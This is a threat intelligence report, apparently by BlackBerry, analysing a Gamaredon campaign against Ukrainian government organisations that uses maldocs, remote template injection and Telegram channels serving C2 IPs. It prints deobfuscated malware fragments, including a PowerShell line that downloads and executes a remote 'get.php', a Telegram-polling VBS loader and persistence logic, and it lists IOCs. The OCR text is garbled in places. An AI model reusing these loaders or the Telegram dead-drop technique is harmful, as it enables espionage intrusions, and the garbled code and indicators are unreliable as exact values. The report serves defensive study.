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Gamaredon (Ab)uses Telegram to Target Ukrainian
Organizations

The BlackBerry Research & Intelligence Team : : 1/19/2023

SUMMARY

The Gamaredon Group has been actively targeting the Ukrainian government lately, relying on the
infrastructure of the popular messaging service Telegram to bypass traditional network traffic detection
techniques without raising obvious flags. Back in November 2022, BlackBerry uncovered a new
Gamaredon campaign that relied on a multi-stage Telegram scheme to first profile potential victims, and
then deliver the final payload along with the malicious command-and-control (C2).

This report provides information about the recent network infrastructure from Crimea that the Gamaredon
Group uses, as well as analysis of each step before the victims receive the final payload.

MITRE ATT&CK Information

Tactic Technique

[Execution T1559.001, T1059.001, T1204.002, T1059.005
[Persistence T1547.001

|Defense Evasion T1027, T1221, T1036, T1140

|Command and Control T1102.002, T1105, T1571, T1008, T1071.001,
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| 11573.001
[Exfiltration T1029

Weaponization and Technical Overview

[Weapons Obfuscated macro and PowerShell scripts, PE executables
Attack Vector Spear-phishing, targeted maldocs

INetwork Infrastructure [DDNS, Telegram

Targets Government organizations in Ukraine

Technical Analysis
Context

The Gamaredon Group is a Russian state-sponsored cyber espionage group that has been active since
2013. Over the years, Gamaredon’s main target has always been Ukrainian government organizations.
To bypass the government’s security measures, the threat group works continually to improve their
malicious code over time.

In mid-September 2022, Talos Intelligence reported Gamaredon’s latest attack on Ukrainian government
organizations and exposed details of the complete execution chain. In November 2022, the BlackBerry
Research and Intelligence Team uncovered Gamaredon’s latest campaign, which relied on Telegram for
malicious network structure purposes.

The initial infection vector we reported on was weaponized documents written in both the Russian and
Ukrainian languages and sent via spear-phishing techniques, exploiting the remote template injection

vulnerability that enables attackers to bypass Microsoft Word macro protections to compromise target
systems with malware, gain access to information, then spread the infection to other users.

The Gamaredon Group’s network infrastructure relies on multi-stage Telegram accounts for victim
profiling and confirmation of geographic location, and then finally leads the victim to the next stage server
for the final payload. This kind of technique to infect target systems is new.

Attack Vector

md5 54c20281d74df351625925d9¢c941e25b

sha-256 9ecf13027af42cec0ed3159b1bc48e265683feaefa331f321507d12651906a91
|Fi|e Name |bac no Pog. cnase.docx

|Fi|e Size 55175 bytes

[Created |bac no Pog. cnase.docx

Author Admin

|[Last Modified 2022:05:03 08:59:00Z

[Last Modified By |[Tonb3osarerns

md5 21a2e24fc146a7bafd7e90651cf397ad

sha-256 2d99e762a41abec05e97dd1260775bad361dfa4e8b4120b912ce9¢c236331dd3f
[File Size 23347 bytes

Author Admin

|[Last Modified 2022-11-04T09:35:00Z
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[Last Modified By [VKZ

In a similar fashion to their previous campaigns, Gamaredon relies on the highly targeted distribution of

weaponized documents. Their malicious lures mimic documents originating from real Ukrainian
government organizations, and are carefully designed to trick those who may have a real reason to

interact with those organizations.
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Figure 1 — Malicious document in the name of “Luhansk People's Republic,” written in the Russian
language

3/14


https://blogs.blackberry.com/en/2022/11/gamaredon-leverages-microsoft-office-docs-to-target-ukraine-government
https://en.wikipedia.org/wiki/Luhansk_People%27s_Republic

D Find =

Times NewRo - - | K A vila Nle-E-=- | : "
mesNewRo - |14 - K A Aa- B GA Z-i=-%- BE K- LY aganced assbcee AaBbC As * pecd
«~ac Replace

Paste - . - E===E '=- &H- -
T FomuPrnter Il I U - W< X X ¥Y-A-N B===W=- &4-C hormal | THo Spac

[ Select-

ﬂ MISSING PROOFING TOOLS  This document containg text in Uknainian which isn't being proofed Never Show Again

Navig s
p .
Headings  Pages  Resits HAITIOHAJIBHA TIOJTINST VKPATHH
= T'OJIOBHE YITPAB/IIHHSI HALTOHAJIbHOI ITOJIIT
¥ M. KHEBI
BHTSAT 3 HAKA3Y
MNpo ocobossi cuna
) w. Kuiip Ne_ 1741 e

10.11.2022

Tpo ocolorsi cxan

Bimozgimso 10 3akony Yipadinn “Ipo HatdonanmsHy mossuio” 3eims i 3i oy B noshuil 3riHo 3 myHsxTom
7 (32 BAcHIM 02K AHHAM) 4ACTHHH nepmof crarri 77

crapuioro nefireHanTa noniwi HOBIKOBY Mapito BitaniisHy (0142450), ¢1ii40ro clig40T0 BiUIUTeHHA BiAAUTY
nonitii Ne 1 (3 6oty roeyeamia Mikpopaiiony “Bigpamnsii”, cryaenrcbiax mictedok HTY “KIITI 1a HAY) Conom’srHcskoro
YIpaRTHHA Noditgi, 10 axcronaga 2022 poky, BCcTaHOBHBILH I OMiCAHMHY NP eMilo 3a nHcTonal 2022 poky B posmipi 132,941
BiacOTKA.
HesHKopHCTaHa IOpiYHa Y¢ProBa oIVIavyBaHa By cTka 3a 2022 pik craHoBHTs 27 2i6.

Cra:xory:x0H e noTilii Ha AeHb 2BUIBHEHHA B KaleHaapHOoMYy o6uHCTeHHl cknaaac0? pokie 02 micmu 22 aHi.

Cyma BIAIIKOAYBAHHA BAPTOCTI MPEAMETIE 0JHOCTPOK 0COGHCTOrO KOPHCTYBAHHA, CTPOK HOGIHHA (eKCIUTyaTaini)
SKHX HE 3AKIHYHBCA, CK1a/1a€ 4854 (4oTHPH THCTYI BICIMCOT N’ ATAECAT YOTHPH) rpHBHI 00 Komifiok.

Miacraex: panopt Hoeikoeoi M. B. Bia 27 :koBTHA 2022 poKy Ta JOBiAKa YIPARJIHHATOTICTHKH T4 MaTepiaibsHo-

TEXHIYHOTO 3a0eanedeHHa Ned19.

T eHep 71 Mo Tp eThoro panry om Igan BHTIBCBKHIT

Figure 2 — Gamaredon’s malicious lure document written in the Ukrainian language in the name of the

“National Police of Ukraine”
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Figure 3 — Gamaredon’s malicious lure document in the Ukrainian language on behalf of a Ukrainian
company working in the aerospace field
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Figure 4 — Malicious lure document written in the Ukrainian language in the name of the Ministry of
Justice of Ukraine

As an example, the document with the filename “bac no Poa. cnase.docx” employs a remote template
injection technique (CVE-2017-0199) in order to gain initial access. Once the malicious document is
opened, it fetches the specified address and downloads the next stage of the attack chain.

I or

;.. ru/WIN-HP59CQ

Figure 5 — Malicious URL which downloads the next phase in the attack

Weaponization

The server's configuration deploys the next stage payload only to targets with a Ukrainian IP address. If it
matches the IP's validation and confirms the target is indeed located in Ukraine, it then drops a heavily
obfuscated VBA script.

md>5 da84f8b5c335deaef354958c62b8dafd

sha-256 295654e3284158bdb94b40d7fb98ede8f3eab72171e027360a654f9523ece566
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[File Name presume.wtf

[File Size 55296 bytes

Author user

|[Last Modified 2022:11:07 14:27:00
[Last Modified By [[onb3osaterns Windows

Figure 6 — Obfuscated routines from the second stage of the attack chain
The script creates the following location and drops a VBS file:
C:\Users\<user_name>\Downloads\expecting\deposit

Then it invokes the “wscript.exe” and runs the “deposit” file. Different implants may rely on other
locations, as in the following examples:

e C:\Users\<user_name>\Downloads\bars\decrepit
e C:\Users\<user_name>\Downloads\baron\demonstration
e C:\Users\<user_name>\deliberate.bmp

The “decrepit” VBS is instructed to connect to a hardcoded Telegram account and to get instructions in a
slightly obfuscated format leading to a new malicious IP address.
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Set grqk9 = CreateObject("msxml2.xmlhttp")

grgk9.open “post", 'https://t.me/s/zacreq' , False
grgk9.setrequestheader "accept", "application/dns—json"
grgk9.send

stgY77198 = poHU169(grqk9. responsebody)

Set prkt7 = CreateObject("vbscript.regexp")
prkt7.pattern = "==([0-9\@] +)=="
prkt7.multiline = True

prkt7.global = True

Set objmatches = prkt7.execute(stgY77198)
flUW36269 = objmatches(9).submatches(0)
soen@6857 = "'@"
inne9 = ".
fonR8 = Replace(flUW36269, s0en@6857, inne9)
cr1y5 = fonR8
If (Len(crly5) < 5) Then
crly5 reIB3
End If
teAw25853 "http://" & crly5 & "/deposit' randdigir & ' /expecting.vac=?derisive"
iCB2 = DateAdd("s", 17, Now())
Do Until (Now() > kiCB2)
Loop

Figure 7 — Deobfuscated code shows Gamaerdon’s Telegram account and components of the URL for
the next stage

Each Telegram account periodically deploys new IP addresses. In an interesting twist, our findings
confirm that this only happens during regular working hours in Eastern Europe. This indicates that this is
very likely a human-operated activity rather than an automated one.

Q. Search

Zacre
@zacreq

e

i

“AG %“‘ﬁ'iv o&\m [\\/\/\J"\ g jrrPn

Figure 8 — Gamaredon’s Telegram account serves a next-stage IP address

Different Telegram accounts serve different IP addresses. For example, the account "zacreq" served the
following IP addresses, and likely many more.

e 164.92.126[.]130
e 45.63.42[.]255
e 159.65.174[.]140
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Once the IP address is obtained, it is then used to construct the URL for the next stage download.
Loader

Continuing with its execution, the script is instructed to issue a HTTP GET request to the URL "hxxp://" &
IP_from_zacreq_TG & "/deposit" & random_number & "/expecting.vac="derisive".

No. Time Source Destination Protocol Length  Info

|- 58 24.587174 - B TP 66 49965 + 8080 [SYN] Seq=0 Win=65535 Len=@ M55=1460 WS=256 SACK_PERMs=1
59 24.790390 TP 66 8080 » 49965 [SYN, ACK] Seq=@ Ack=1 Win=5840 Len=@ MSS=146@ SACK_PERM=1 WS=2
60 24.790693 TP 54 49965 + 8080 [ACK] Seq=1 Ack=1 Win=262144 Len=0

61 24.791666 HTTP 459 GET http://164.92.126.130/depositl/expecting.vac=?derisive HTTP/1.1

63 25.293792 54 8080 + 49965 [ACK] Seqel Ack=4086 Win=6432 Lens@

65 28.886016 744 HTTP/1.1 200 OK: (text/html)
66 28.886212 54 49965 + 8080 [ACK] Seq=406 Ack=691 Win=261376 Len=0

7€ 54 TP 54 4996 5T, AC 6 A 691 Win=0 Len=0

Frame 65: 744 bytes on wire (5952 bits), 744 bytes captured (5952 bits)
Ethernet II, Src: 60:aa:ef:20:12:28 (60:2a:ef:20:§2:28), Dst: ChiconyE_59:99:69 (64:5a:04:59:99:69)
Internet Protocol Version 4, Src:
Transmission Control Protocol, Src Port: 8080 (8080), Dst Port: 49965 (49965), Seq: 1, Ack: 486, Len: 690

Hypertext Transfer Protocol |
4 Line-based text data: text/htaml
[truncated] - -T24gRX)yb31gUaVzdWl11E51eHONC nBzaD1DcaVhdGVPYmp 1Y 3001 1dTY3DpcHQuU2h 1 bGwiKS 5F eHBhbmRFbnZpomdub - -WWudFN@cmluZ 3Mo T iVXSUSESVI 1T ikgKyAiXFNS< 3R1bTMy XF dpbmRvd 3NQb3d1c 1No

. »

0000
0010 §

--T24gRX Jyb3lg

[LENE-Y

0020
0a30
fase &
8050
0060
vare
0080

2
9
3
9
2
2

W W
SEYBREREE

LBUREIER
ESESRDY

34 67 5
31 6c A
31 44 6
51 6f 4
68 6¢ 6.
52 46 6.
64 46 de
53 55 35
58 46 de

HHETLTLES
TTHQLLLEY

Figure 9 — Next stage delivery

Upon successful connection, the remote server returns base64 encode data blob, which decodes to a
PowerShell script. The PowerShell script is instructed to download a “get.php” file from 213.69.3[.]218 IP
address and run it.

start:' 404 qength: 404 =
Input len;rt]:; 48; lines: 1 + D E U -
T24gRXJyb3IgUmVzdW1lIES leHQNCnBzaD1DcmVhdGVPYmp1Y3QoIldTY3IpcHQuU2h1bGwiKS5FeHBhbmRFbnZpcm9ub—
WVudFN@cmluZ3MoIiVXSUSESVI1IikgKyAiXFN5¢3R1bTMyXFdpbmRvd3NQb3dlcINoZWxsXHYxXLjBccG9I3ZXIzaGVsbC—
51eGUgJHRtcCA9ICQoTmV3LU9iamVjdCBuZXQud2ViY2xpZW50KS5Eb3dubGIhZFN@cmluZygnaHROcDovLzIxNy42054—zL j
Ix0C9NZXQucGhwIyk7IEludm9rZS1FeHByZXNzaW9uICRObXAiDQpDcmVhdGVPYmplY3QoIldzY3IpcHQuU2h1bGwi—
KS55dW4gcHNoLCAWDQoNCg==

start: 303 time: 1ms

Output end: 363 length: 295 BI0O® r

length: @ lines:

On Error Resume Next

psh=CreateObject("WScript.Shell").ExpandEnvironmentStrings ("%WINDIR%") + "\System32
\WindowsPowerShell\v1l.@\powershell.exe $tmp = $(New-Object
net.webclient).DownloadString('http://217.69.3.218/get.php'); Invoke-Expression $tmp"
CreateObject("Wscript.Shell").Run psh, @

Figure 10 — The base64 decoded data blob

To download the next stage, the “get.php” script is instructed to invoke the domain() function which
reaches out to the Telegram channel "hxxps[:]//t[.Jme/s/newtesta1" to obtain a slightly obfuscated IP
address, the same way we’ve seen previously.
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Sy Net.Serv intManager]: :SecurityProtocol = [Enum]::ToObject( [Sy
respONSE { net.webclient).UpLoadString("https://t.me/s/newt
domain = $RESPoNSE. ("#") [1].REpLaCE("~", ".");

{

1 ‘.tolD«eR{l

sleeper;

WC net.webc

TWC. - Add("Conter WE app licatic on");

response Wi api/vl/d Lookup' System. Tex iing] : :UTF8.GetBytes("{ "domain"":
domain = [Syste X

} {3M.

f (1sdomain) {
sleeper;

domain [Sys N ns): :GetHostAddresses( [string]s

} cateh {};
¥

{}

Figure 11 — Function to receive the IP for the next stage of the execution chain

The IP addresses listed in the “newtesta1” Telegram account are also changed periodically by the threat
group.

1 nNewtest
\ h
w 2 subscribers Q Searc

newtest
@newtestal

B newtest

*136"244"108"15% 15 @ edited 10:56

Subscribers

«<d DOWNLOAD TELEGRAM G D
L

About Blog Apps Platform

Figure 12 — IP address for the final stage delivery

The BlackBerry Research and Intelligence Team has monitored this account over time and has identified
the following IP address used for the delivery of the final payload:

e 45.77.229[.]159
e 64.227.1[]3

. 64.227.7[]134

e 84.32.128[.]41

. 84.32.128[.]215
e 104.131.39[.]154
e 143.110.221[.]189
e 157.230.223[.]20
e 157.230.123[.]48
e 158.247.199[.]37
o 158.247.199[.]225
. 165.22.7[]242

e 167.172.173[]7
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170.64.152[.]42
198.13.42[.J40
206.189.143[.]206
217.69.3[.]218

Payload

If the specific criteria mentioned above is met, the server returns the payload. Upon receiving the
payload, the "get.php" script invokes the decode() function to perform an XOR operation where the $key
value is obtained from the volume serial number.

function Decoder (% $decoder) {
[u,tr[]]hnew bytes . byte[] $decoder. L
for($i = 0; $i -1t $decoder.:
$new_bytes[$i] 5decoder[ .:.1]

}

return $new_bytes;

Figure 13 — Final payload decoding function

Talos has already analyzed the final payload placement. We have observed minor changes, such as
different variables and file names; however, the core logic remains the same.

11/14


https://blog.talosintelligence.com/gamaredon-apt-targets-ukrainian-agencies/

$domain

try {
$path
$value

domain;

} catch {}

while ($ ) o
SWebClient
$nCln

nCln
Lry {
$sresponse
]
sdomain

“dﬁL

sdecode_resp
if ($decode_resp.: .
$WebClient.U

sresp

"HKCU: \SOFTWARE\Microsoft\Wind
$env:iwindir + '\System32\Wind

$WebClient.U

)ierShe

S env:Include
Name Include

\powershell.exe -windowstyle hidden ie

—Path $path Vélﬁe Jéalue:
1));

¢ net.webclient).UploadString($domain
gt @) {
etEnvironmentVariable("Include", $code,

/get.php', $(

r]::User);

net.webclient;
System.Collections.Specialized.NameValueCollection;
I : :GetHostName() ) . ToUpper() + ";" + $num);

Values("$domain/slot.php", $nCln);

domain;

[Syste :UTF8.GetString($response);
"http" ) {
ecode_resp, $nCln);

Decoder $

, $new_bytes);
:Start($path);

if ($decode_resp.su
iex $decode_resp.

ecod
$vbcode

$sC

$sc.Ti

$SC
$sC

}

-ArgumentList $vbcode

} catch {}

Decoder $

[s ::UTF8.GetString($decod);

ComObject MSScriptControl.ScriptControl.1;
999999;

-runas32

Minimum 350 -Maximum 595);

Figure 14 — Final payload placement logic

Attack Flow

',
r
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Figure 15 — Gamaredon Group attack flow

Network

The Gamaredon Group has used the hxxp:/tf[.Jme/s/* URL structure in the stage which accesses
Telegram to direct the execution to the next stage. We searched for this structure in VirusTotal and found
the following additional Telegram C2’s.

Telegram Account hxxp://t[.Jme/s/chanellsac
P 1206.189.139[J249
Telegram Account hxxp://t[.]Jme/s/zapula2




[ip 104.248.36[.]1191
Telegram Account hxxp://t[.]Jme/s/zalup2
[IP 140.82.29[.165
Telegram Account hxxp://t[.]Jme/s/vozmoz2
[IP 159.89.31[.]49
Telegram Account hxxp://t[.Jme/s/digitli

[IP 104.248.36[.]1191
Telegram Account hxxp://t[.Jme/s/dracarc
[IP 164.92.234[.]1195
Telegram Account hxxp://t[.]Jme/s/randomnulls
(IiP 68.183.3[.]178

The BlackBerry Research and Intelligence Team has traced the Gamaredon Group’s activity back to
109.200.159][.]54 using network flow data analysis. Every IP address in communication with this node has
been related to Gamaredon, in some form or fashion. For every IP listed in this report, only three haven't
been accessed by this node in the last seven days prior to publication. That node is based in Crimea and
has been active since at least spring 2022. All communication is between ports 1000-9999 on the C2 and
an ephemeral port on the Gamaredon Group’s node.

Targets

Historically, the Gamaredon Group has solely targeted Ukraine. Based on the lure documents we
uncovered, the victims being targeted belong to strategical industries in Ukraine, such as the military, law
enforcement, and others.

Attribution

The Gamaredon Group has been publicly attributed to Russia. The geopolitical nature of the targets, the
threat actor's network infrastructure, and metadata extracted from the lure documents appear to confirm
its origins.

CONCLUSIONS

Telegram is one of the most popular messaging applications used in both Ukraine and Russia. The
Gamaredon Group relies on its infrastructure to bypass traditional network traffic detection techniques
without raising obvious flags. Their multi-staged approach, which first confirms the victims’ location and
then leads them to the final payload, means that security researchers must work harder to track the
whole attack flow and to find the final payload.

The threat group change IP addresses dynamically, which makes it even harder to automate analysis
through sandbox techniques once the sample has aged out. The fact that the suspect IP addresses
change only during Eastern European working hours strongly suggests that the threat actor works from
one location, and with all probability belongs to an offensive cyber unit that deploys malicious operations
against Ukraine.
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